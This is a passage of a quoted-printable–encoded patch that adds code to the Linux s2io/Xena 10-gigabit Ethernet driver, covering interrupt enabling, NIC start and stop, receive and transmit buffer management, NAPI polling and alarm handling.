&bar0->rx_traffic_mask); /* '0' Enables =0A= + * all 8 RX =0A= + * interrupt =0A= + * levels.=0A= + */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable Rx Traffic Intrs in the general intr mask =0A= + * register.=0A= + */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->rx_traffic_mask);=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + writeq(val64, &bar0->general_int_mask);=0A= + }=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * val64 - Value read from adapter status register.=0A= + * flag - indicates if the adapter enable bit was ever written once = before.=0A= + * Return Value: =0A= + * void.=0A= + * Description: =0A= + * Returns whether the H/W is ready to go or not. Depending on = whether =0A= + * adapter enable bit was written or not the comparison differs and = the =0A= + * calling function passes the input argument flag to indicate this.=0A= + */=0A= +static int verify_xena_quiescence(u64 val64, int flag)=0A= +{=0A= + int ret =3D 0;=0A= + u64 tmp64 =3D ~((u64) val64);=0A= +=0A= + if (!=0A= + (tmp64 &=0A= + (ADAPTER_STATUS_TDMA_READY | ADAPTER_STATUS_RDMA_READY |=0A= + ADAPTER_STATUS_PFC_READY | ADAPTER_STATUS_TMAC_BUF_EMPTY |=0A= + ADAPTER_STATUS_PIC_QUIESCENT | ADAPTER_STATUS_MC_DRAM_READY |=0A= + ADAPTER_STATUS_MC_QUEUES_READY | ADAPTER_STATUS_M_PLL_LOCK |=0A= + ADAPTER_STATUS_P_PLL_LOCK))) {=0A= + if (flag =3D=3D FALSE) {=0A= + if (!(val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= + ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) =3D=3D=0A= + ADAPTER_STATUS_RC_PRC_QUIESCENT)) {=0A= +=0A= + ret =3D 1;=0A= +=0A= + }=0A= + } else {=0A= + if (((val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) =3D=3D=0A= + ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= + (!(val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) ||=0A= + ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) =3D=3D=0A= + ADAPTER_STATUS_RC_PRC_QUIESCENT))) {=0A= +=0A= + ret =3D 1;=0A= +=0A= + }=0A= + }=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/* =0A= + * New procedure to clear mac address reading problems on Alpha = platforms=0A= + *=0A= + */=0A= +void FixMacAddress(nic_t * sp)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= + int i =3D 0;=0A= +=0A= + while (fix_mac[i] !=3D END_SIGN) {=0A= + writeq(fix_mac[i++], &bar0->gpio_control);=0A= + val64 =3D readq(&bar0->gpio_control);=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable.=0A= + * Return Value: =0A= + * SUCCESS on success and -1 on failure.=0A= + * Description: =0A= + * This function actually turns the device on. Before this =0A= + * function is called, all Registers are configured from their reset = states =0A= + * and shared memory is allocated but the NIC is still quiescent. On =0A= + * calling this function, the device interrupts are cleared and the = NIC is=0A= + * literally switched on by writing into the adapter control register.=0A= + */=0A= +static int startNic(struct s2io_nic *nic)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + struct net_device *dev =3D nic->dev;=0A= + register u64 val64 =3D 0;=0A= + u16 interruptible, i;=0A= + u16 subid;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + /* PRC Initialization and configuration */=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + writeq((u64) nic->rx_blocks[i][0].block_dma_addr,=0A= + &bar0->prc_rxd0_n[i]);=0A= +=0A= + val64 =3D readq(&bar0->prc_ctrl_n[i]);=0A= + val64 |=3D PRC_CTRL_RC_ENABLED;=0A= + writeq(val64, &bar0->prc_ctrl_n[i]);=0A= + }=0A= +=0A= + /* Enabling MC-RLDRAM. After enabling the device, we timeout=0A= + * for around 100ms, which is approximately the time required=0A= + * for the device to be ready for operation.=0A= + */=0A= + val64 =3D readq(&bar0->mc_rldram_mrs);=0A= + val64 |=3D MC_RLDRAM_QUEUE_SIZE_ENABLE | MC_RLDRAM_MRS_ENABLE;=0A= + writeq(val64, &bar0->mc_rldram_mrs);=0A= + val64 =3D readq(&bar0->mc_rldram_mrs);=0A= +=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 10); /* Delay by around 100 ms. */=0A= +=0A= + /* Enabling ECC Protection. */=0A= + val64 =3D readq(&bar0->adapter_control);=0A= + val64 &=3D ~ADAPTER_ECC_EN;=0A= + writeq(val64, &bar0->adapter_control);=0A= +=0A= + /* Clearing any possible Link state change interrupts that =0A= + * could have popped up just before Enabling the card.=0A= + */=0A= + val64 =3D readq(&bar0->mac_rmac_err_reg);=0A= + if (val64)=0A= + writeq(val64, &bar0->mac_rmac_err_reg);=0A= +=0A= + /* Verify if the device is ready to be enabled, if so enable =0A= + * it.=0A= + */=0A= + val64 =3D readq(&bar0->adapter_status);=0A= + if (!verify_xena_quiescence(val64, nic->device_enabled_once)) {=0A= + DBG_PRINT(ERR_DBG, "%s: device is not ready, ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "Adapter status reads: 0x%llx\n",=0A= + (unsigned long long) val64);=0A= + return FAILURE;=0A= + }=0A= +=0A= + /* Enable select interrupts */=0A= + interruptible =3D TX_TRAFFIC_INTR | RX_TRAFFIC_INTR | TX_MAC_INTR |=0A= + RX_MAC_INTR;=0A= + en_dis_able_NicIntrs(nic, interruptible, ENABLE_INTRS);=0A= +=0A= + /* With some switches, link might be already up at this point.=0A= + * Because of this weird behavior, when we enable laser, =0A= + * we may not get link. We need to handle this. We cannot =0A= + * figure out which switch is misbehaving. So we are forced to =0A= + * make a global change. =0A= + */=0A= +=0A= + /* Enabling Laser. */=0A= + val64 =3D readq(&bar0->adapter_control);=0A= + val64 |=3D ADAPTER_EOI_TX_ON;=0A= + writeq(val64, &bar0->adapter_control);=0A= +=0A= + /* SXE-002: Initialize link and activity LED */=0A= + subid =3D nic->pdev->subsystem_device;=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D readq(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000ULL;=0A= + writeq(val64, &bar0->gpio_control);=0A= + val64 =3D 0x0411040400000000ULL;=0A= + writeq(val64, (void *) ((u8 *) bar0 + 0x2700));=0A= + }=0A= +=0A= + /* =0A= + * Here we are performing soft reset on XGXS to =0A= + * force link down. Since link is already up, we will get=0A= + * link state change interrupt after this reset=0A= + */=0A= + writeq(0x8007051500000000ULL, &bar0->dtx_control);=0A= + val64 =3D readq(&bar0->dtx_control);=0A= + writeq(0x80070515000000E0ULL, &bar0->dtx_control);=0A= + val64 =3D readq(&bar0->dtx_control);=0A= + writeq(0x80070515001F00E4ULL, &bar0->dtx_control);=0A= + val64 =3D readq(&bar0->dtx_control);=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * nic - device private variable.=0A= + * Return Value: =0A= + * void.=0A= + * Description: =0A= + * Free all queued Tx buffers.=0A= + */=0A= +void freeTxBuffers(struct s2io_nic *nic)=0A= +{=0A= + struct net_device *dev =3D nic->dev;=0A= + struct sk_buff *skb;=0A= + TxD_t *txdp;=0A= + int i, j;=0A= +#if DEBUG_ON=0A= + int cnt =3D 0;=0A= +#endif=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + for (j =3D 0; j < config->TxCfg[i].FifoLen - 1; j++) {=0A= + txdp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * j);=0A= +=0A= + if (!(txdp->Control_1 & TXD_LIST_OWN_XENA)) {=0A= + /* If owned by host, ignore */=0A= + continue;=0A= + }=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) txdp->=0A= + Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: NULL skb ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "in Tx Int\n");=0A= + return;=0A= + }=0A= +#if DEBUG_ON=0A= + cnt++;=0A= +#endif=0A= + dev_kfree_skb(skb);=0A= + memset(txdp, 0, sizeof(TxD_t));=0A= + }=0A= +#if DEBUG_ON=0A= + DBG_PRINT(INTR_DBG,=0A= + "%s:forcibly freeing %d skbs on FIFO%d\n",=0A= + dev->name, cnt, i);=0A= +#endif=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * nic - device private variable.=0A= + * Return Value: =0A= + * void.=0A= + * Description: =0A= + * This function does exactly the opposite of what the startNic() =0A= + * function does. This function is called to stop =0A= + * the device.=0A= + */=0A= +static void stopNic(struct s2io_nic *nic)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + register u64 val64 =3D 0;=0A= + u16 interruptible, i;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +/* Disable all interrupts */=0A= + interruptible =3D TX_TRAFFIC_INTR | RX_TRAFFIC_INTR | TX_MAC_INTR |=0A= + RX_MAC_INTR;=0A= + en_dis_able_NicIntrs(nic, interruptible, DISABLE_INTRS);=0A= +=0A= +/* Disable PRCs */=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + val64 =3D readq(&bar0->prc_ctrl_n[i]);=0A= + val64 &=3D ~((u64) PRC_CTRL_RC_ENABLED);=0A= + writeq(val64, &bar0->prc_ctrl_n[i]);=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable=0A= + * Return Value: =0A= + * SUCCESS on success or an appropriate -ve value on failure.=0A= + * Description: =0A= + * The function allocates Rx side skbs and puts the physical=0A= + * address of these buffers into the RxD buffer pointers, so that the = NIC=0A= + * can DMA the received frame into these locations.=0A= + * The NIC supports 3 receive modes, viz=0A= + * 1. single buffer,=0A= + * 2. three buffer and=0A= + * 3. Five buffer modes.=0A= + * Each mode defines how many fragments the received frame will be = split =0A= + * up into by the NIC. The frame is split into L3 header, L4 Header, =0A= + * L4 payload in three buffer mode and in 5 buffer mode, L4 payload = itself =0A= + * is split into 3 fragments. As of now only single buffer mode is = supported.=0A= + */=0A= +int fill_rx_buffers(struct s2io_nic *nic, int ring_no)=0A= +{=0A= + struct net_device *dev =3D nic->dev;=0A= + struct sk_buff *skb;=0A= + RxD_t *rxdp;=0A= + int off, off1, size, block_no, block_no1;=0A= + int offset, offset1;=0A= + u32 alloc_tab =3D 0;=0A= + u32 alloc_cnt =3D nic->pkt_cnt[ring_no] -=0A= + atomic_read(&nic->rx_bufs_left[ring_no]);=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + if (frame_len[ring_no]) {=0A= + if (frame_len[ring_no] > dev->mtu)=0A= + dev->mtu =3D frame_len[ring_no];=0A= + size =3D frame_len[ring_no] + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE + HEADER_SNAP_SIZE;=0A= + } else {=0A= + size =3D dev->mtu + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE + HEADER_SNAP_SIZE;=0A= + }=0A= +=0A= + while (alloc_tab < alloc_cnt) {=0A= + block_no =3D mac_control->rx_curr_put_info[ring_no].=0A= + block_index;=0A= + block_no1 =3D mac_control->rx_curr_get_info[ring_no].=0A= + block_index;=0A= + off =3D mac_control->rx_curr_put_info[ring_no].offset;=0A= + off1 =3D mac_control->rx_curr_get_info[ring_no].offset;=0A= + offset =3D block_no * (MAX_RXDS_PER_BLOCK + 1) + off;=0A= + offset1 =3D block_no1 * (MAX_RXDS_PER_BLOCK + 1) + off1;=0A= +=0A= + rxdp =3D nic->rx_blocks[ring_no][block_no].=0A= + block_virt_addr + off;=0A= + if ((offset =3D=3D offset1) && (rxdp->Host_Control)) {=0A= + DBG_PRINT(INTR_DBG, "%s: Get and Put", dev->name);=0A= + DBG_PRINT(INTR_DBG, " info equated\n");=0A= + goto end;=0A= + }=0A= +=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + block_index++;=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + block_index %=3D nic->block_count[ring_no];=0A= + block_no =3D mac_control->rx_curr_put_info=0A= + [ring_no].block_index;=0A= + off++;=0A= + off %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + mac_control->rx_curr_put_info[ring_no].offset =3D=0A= + off;=0A= + /*rxdp =3D nic->rx_blocks[ring_no][block_no].=0A= + block_virt_addr + off; */=0A= + rxdp =3D (RxD_t *) ((unsigned long) rxdp->Control_2);=0A= + DBG_PRINT(INTR_DBG, "%s: Next block at: %p\n",=0A= + dev->name, rxdp);=0A= + }=0A= +=0A= + if (rxdp->Control_1 & RXD_OWN_XENA) {=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + offset =3D off;=0A= + goto end;=0A= + }=0A= +=0A= + skb =3D dev_alloc_skb(size + HEADER_ALIGN_LAYER_3);=0A= + if (!skb) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "memory to allocate SKBs\n");=0A= + return -ENOMEM;=0A= + }=0A= + skb_reserve(skb, HEADER_ALIGN_LAYER_3);=0A= + memset(rxdp, 0, sizeof(RxD_t));=0A= + rxdp->Buffer0_ptr =3D pci_map_single=0A= + (nic->pdev, skb->data, size, PCI_DMA_FROMDEVICE);=0A= + rxdp->Control_2 &=3D (~MASK_BUFFER0_SIZE);=0A= + rxdp->Control_2 |=3D SET_BUFFER0_SIZE(size);=0A= + rxdp->Host_Control =3D (unsigned long) (skb);=0A= + rxdp->Control_1 |=3D RXD_OWN_XENA;=0A= + off++;=0A= + off %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + mac_control->rx_curr_put_info[ring_no].offset =3D off;=0A= + atomic_inc(&nic->rx_bufs_left[ring_no]);=0A= + alloc_tab++;=0A= + }=0A= +=0A= + end:=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable.=0A= + * Return Value: =0A= + * NONE.=0A= + * Description: =0A= + * This function will free all Rx buffers allocated by host.=0A= + */=0A= +static void freeRxBuffers(struct s2io_nic *sp)=0A= +{=0A= + struct net_device *dev =3D sp->dev;=0A= + int i, j, blk =3D 0, off, buf_cnt =3D 0;=0A= + RxD_t *rxdp;=0A= + struct sk_buff *skb;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + for (j =3D 0, blk =3D 0; j < config->RxCfg[i].NumRxd; j++) {=0A= + off =3D j % (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D sp->rx_blocks[i][blk].block_virt_addr + off;=0A= +=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D=0A= + (RxD_t *) ((unsigned long) rxdp->=0A= + Control_2);=0A= + j++;=0A= + blk++;=0A= + }=0A= +=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->=0A= + Host_Control);=0A= + if (skb) {=0A= + pci_unmap_single(sp->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE=0A= + + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= + dev_kfree_skb(skb);=0A= + atomic_dec(&sp->rx_bufs_left[i]);=0A= + buf_cnt++;=0A= + }=0A= + memset(rxdp, 0, sizeof(RxD_t));=0A= + }=0A= + mac_control->rx_curr_put_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_get_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_put_info[i].offset =3D 0;=0A= + mac_control->rx_curr_get_info[i].offset =3D 0;=0A= + atomic_set(&sp->rx_bufs_left[i], 0);=0A= + DBG_PRINT(INIT_DBG, "%s:Freed 0x%x Rx Buffers on ring%d\n",=0A= + dev->name, buf_cnt, i);=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * dev - pointer to the device structure.=0A= + * budget - The number of packets that were budgeted to be processed = during=0A= + * one pass through the 'Poll" function.=0A= + * Return value:=0A= + * 0 on success and 1 if there are No Rx packets to be processed.=0A= + * Description:=0A= + * Comes into picture only if NAPI support has been incorporated. It = does=0A= + * the same thing that rxIntrHandler does, but not in a interrupt = context=0A= + * also It will process only a given number of packets.=0A= + */=0A= +#ifdef CONFIG_S2IO_NAPI=0A= +static int s2io_poll(struct net_device *dev, int *budget)=0A= +{=0A= + nic_t *nic =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + int pkts_to_process =3D *budget, pkt_cnt =3D 0;=0A= + register u64 val64 =3D 0;=0A= + rx_curr_get_info_t offset_info;=0A= + int i, block_no;=0A= + u16 val16, cksum;=0A= + struct sk_buff *skb;=0A= + RxD_t *rxdp;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + if (pkts_to_process > dev->quota)=0A= + pkts_to_process =3D dev->quota;=0A= +=0A= + val64 =3D readq(&bar0->rx_traffic_int);=0A= + writeq(val64, &bar0->rx_traffic_int);=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if (--pkts_to_process < 0) {=0A= + goto no_rx;=0A= + }=0A= + offset_info =3D mac_control->rx_curr_get_info[i];=0A= + block_no =3D offset_info.block_index;=0A= + rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + while (!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D=0A= + (RxD_t *) ((unsigned long) rxdp->=0A= + Control_2);=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D=0A= + (MAX_RXDS_PER_BLOCK + 1);=0A= + block_no++;=0A= + block_no %=3D nic->block_count[i];=0A= + mac_control->rx_curr_get_info[i].=0A= + offset =3D offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].=0A= + block_index =3D block_no;=0A= + continue;=0A= + }=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->=0A= + Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: The skb is ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Null in Rx Intr\n");=0A= + return 0;=0A= + }=0A= + val64 =3D RXD_GET_BUFFER0_SIZE(rxdp->Control_2);=0A= + val16 =3D (u16) (val64 >> 48);=0A= + cksum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= + rxOsmHandler(nic, val16, rxdp, i);=0A= + pkt_cnt++;=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D=0A= + nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= + }=0A= + }=0A= + if (!pkt_cnt)=0A= + pkt_cnt =3D 1;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= + fill_rx_buffers(nic, i);=0A= +=0A= + dev->quota -=3D pkt_cnt;=0A= + *budget -=3D pkt_cnt;=0A= + netif_rx_complete(dev);=0A= +=0A= +/* Re enable the Rx interrupts. */=0A= + en_dis_able_NicIntrs(nic, RX_TRAFFIC_INTR, ENABLE_INTRS);=0A= + return 0;=0A= +=0A= + no_rx:=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= + fill_rx_buffers(nic, i);=0A= + dev->quota -=3D pkt_cnt;=0A= + *budget -=3D pkt_cnt;=0A= + return 1;=0A= +}=0A= +#else=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable.=0A= + * Return Value: =0A= + * NONE.=0A= + * Description: =0A= + * If the interrupt is because of a received frame or if the =0A= + * receive ring contains fresh as yet un-processed frames, this = function is=0A= + * called. It picks out the RxD at which place the last Rx processing = had =0A= + * stopped and sends the skb to the OSM's Rx handler and then = increments =0A= + * the offset.=0A= + */=0A= +static void rxIntrHandler(struct s2io_nic *nic)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + rx_curr_get_info_t offset_info;=0A= + RxD_t *rxdp;=0A= + struct sk_buff *skb;=0A= + u16 val16, cksum;=0A= + register u64 val64 =3D 0;=0A= + int i, block_no;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +#if DEBUG_ON=0A= + nic->rxint_cnt++;=0A= +#endif=0A= +=0A= +/* rx_traffic_int reg is an R1 register, hence we read and write back =0A= + * the samevalue in the register to clear it.=0A= + */=0A= + val64 =3D readq(&bar0->rx_traffic_int);=0A= + writeq(val64, &bar0->rx_traffic_int);=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + offset_info =3D mac_control->rx_curr_get_info[i];=0A= + block_no =3D offset_info.block_index;=0A= + rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + while (!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D (RxD_t *) ((unsigned long)=0A= + rxdp->Control_2);=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D=0A= + (MAX_RXDS_PER_BLOCK + 1);=0A= + block_no++;=0A= + block_no %=3D nic->block_count[i];=0A= + mac_control->rx_curr_get_info[i].=0A= + offset =3D offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].=0A= + block_index =3D block_no;=0A= + continue;=0A= + }=0A= + skb =3D (struct sk_buff *) ((unsigned long)=0A= + rxdp->Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: The skb is ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Null in Rx Intr\n");=0A= + return;=0A= + }=0A= + val64 =3D RXD_GET_BUFFER0_SIZE(rxdp->Control_2);=0A= + val16 =3D (u16) (val64 >> 48);=0A= + cksum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= + rxOsmHandler(nic, val16, rxdp, i);=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D=0A= + nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= + }=0A= + }=0A= +}=0A= +#endif=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable=0A= + * Return Value: =0A= + * NONE=0A= + * Description: =0A= + * If an interrupt was raised to indicate DMA complete of the =0A= + * Tx packet, this function is called. It identifies the last TxD = whose buffer=0A= + * was freed and frees all skbs whose data have already DMA'ed into = the NICs=0A= + * internal memory.=0A= + */=0A= +static void txIntrHandler(struct s2io_nic *nic)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= + tx_curr_get_info_t offset_info, offset_info1;=0A= + struct sk_buff *skb;=0A= + TxD_t *txdlp;=0A= + register u64 val64 =3D 0;=0A= + int i;=0A= + u16 j, frg_cnt;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +#if DEBUG_ON=0A= + int cnt =3D 0;=0A= + nic->txint_cnt++;=0A= +#endif=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + /* tx_traffic_int reg is an R1 register, hence we read and write =0A= + * back the samevalue in the register to clear it.=0A= + */=0A= + val64 =3D readq(&bar0->tx_traffic_int);=0A= + writeq(val64, &bar0->tx_traffic_int);=0A= +=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + offset_info =3D mac_control->tx_curr_get_info[i];=0A= + offset_info1 =3D mac_control->tx_curr_put_info[i];=0A= + txdlp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * offset_info.offset);=0A= + while ((!(txdlp->Control_1 & TXD_LIST_OWN_XENA)) &&=0A= + (offset_info.offset !=3D offset_info1.offset) &&=0A= + (txdlp->Host_Control)) {=0A= + /* Check for TxD errors */=0A= + if (txdlp->Control_1 & TXD_T_CODE) {=0A= + unsigned long long err;=0A= + err =3D txdlp->Control_1 & TXD_T_CODE;=0A= + DBG_PRINT(ERR_DBG, "***TxD error %llx\n",=0A= + err);=0A= + }=0A= +=0A= + skb =3D (struct sk_buff *) ((unsigned long)=0A= + txdlp->Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: Null skb ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "in Tx Free Intr\n");=0A= + return;=0A= + }=0A= + nic->tx_pkt_count++;=0A= +=0A= + frg_cnt =3D skb_shinfo(skb)->nr_frags;=0A= +=0A= + /* For unfragmented skb */=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + txdlp->Buffer_Pointer,=0A= + skb->len - skb->data_len,=0A= + PCI_DMA_TODEVICE);=0A= + if (frg_cnt) {=0A= + TxD_t *temp =3D txdlp;=0A= + txdlp++;=0A= + for (j =3D 0; j < frg_cnt; j++, txdlp++) {=0A= + skb_frag_t *frag =3D=0A= + &skb_shinfo(skb)->frags[j];=0A= + pci_unmap_page(nic->pdev,=0A= + (dma_addr_t)=0A= + txdlp->=0A= + Buffer_Pointer,=0A= + frag->size,=0A= + PCI_DMA_TODEVICE);=0A= + }=0A= + txdlp =3D temp;=0A= + }=0A= + memset(txdlp, 0,=0A= + (sizeof(TxD_t) * config->MaxTxDs));=0A= +=0A= + /* Updating the statistics block */=0A= + nic->stats.tx_packets++;=0A= + nic->stats.tx_bytes +=3D skb->len;=0A= +#if DEBUG_ON=0A= + nic->txpkt_bytes +=3D skb->len;=0A= + cnt++;=0A= +#endif=0A= + dev_kfree_skb_irq(skb);=0A= +=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D offset_info.fifo_len + 1;=0A= + txdlp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * offset_info.offset);=0A= + mac_control->tx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= + }=0A= +#if DEBUG_ON=0A= + DBG_PRINT(INTR_DBG, "%s: freed %d Tx Pkts\n", dev->name,=0A= + cnt);=0A= +#endif=0A= + }=0A= +=0A= + spin_lock(&nic->tx_lock);=0A= + if (netif_queue_stopped(dev))=0A= + netif_wake_queue(dev);=0A= + spin_unlock(&nic->tx_lock);=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable=0A= + * Return Value: =0A= + * NONE=0A= + * Description: =0A= + * If the interrupt was neither because of Rx packet or Tx =0A= + * complete, this function is called. If the interrupt was to indicate = a loss=0A= + * of link, the OSM link status handler is invoked for any other alarm =0A= + * interrupt the block that raised the interrupt is displayed and a = H/W reset =0A= + * is issued.=0A= + */=0A= +static void alarmIntrHandler(struct s2io_nic *nic)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + register u64 val64 =3D 0, err_reg =3D 0;=0A= +=0A= +=0A= + /* Handling link status change error Intr */=0A= + err_reg =3D readq(&bar0->mac_rmac_err_reg);=0A= + if (err_reg & RMAC_LINK_STATE_CHANGE_INT) {=0A= + schedule_work(&nic->set_link_task);=0A= + }=0A= +=0A= + /* Handling SERR errors by stopping device Xmit queue and forcing =0A= + * a H/W reset.=0A= + */=0A= + val64 =3D readq(&bar0->serr_source);=0A= + if (val64 & SERR_SOURCE_ANY) {=0A= + DBG_PRINT(ERR_DBG, "%s: Device indicates ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "serious error!!\n");=0A= + netif_stop_queue(dev);=0A= + }=0A= +/* Other type of interrupts are not being handled now, TODO*/=0A= +}=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * sp - private member of the 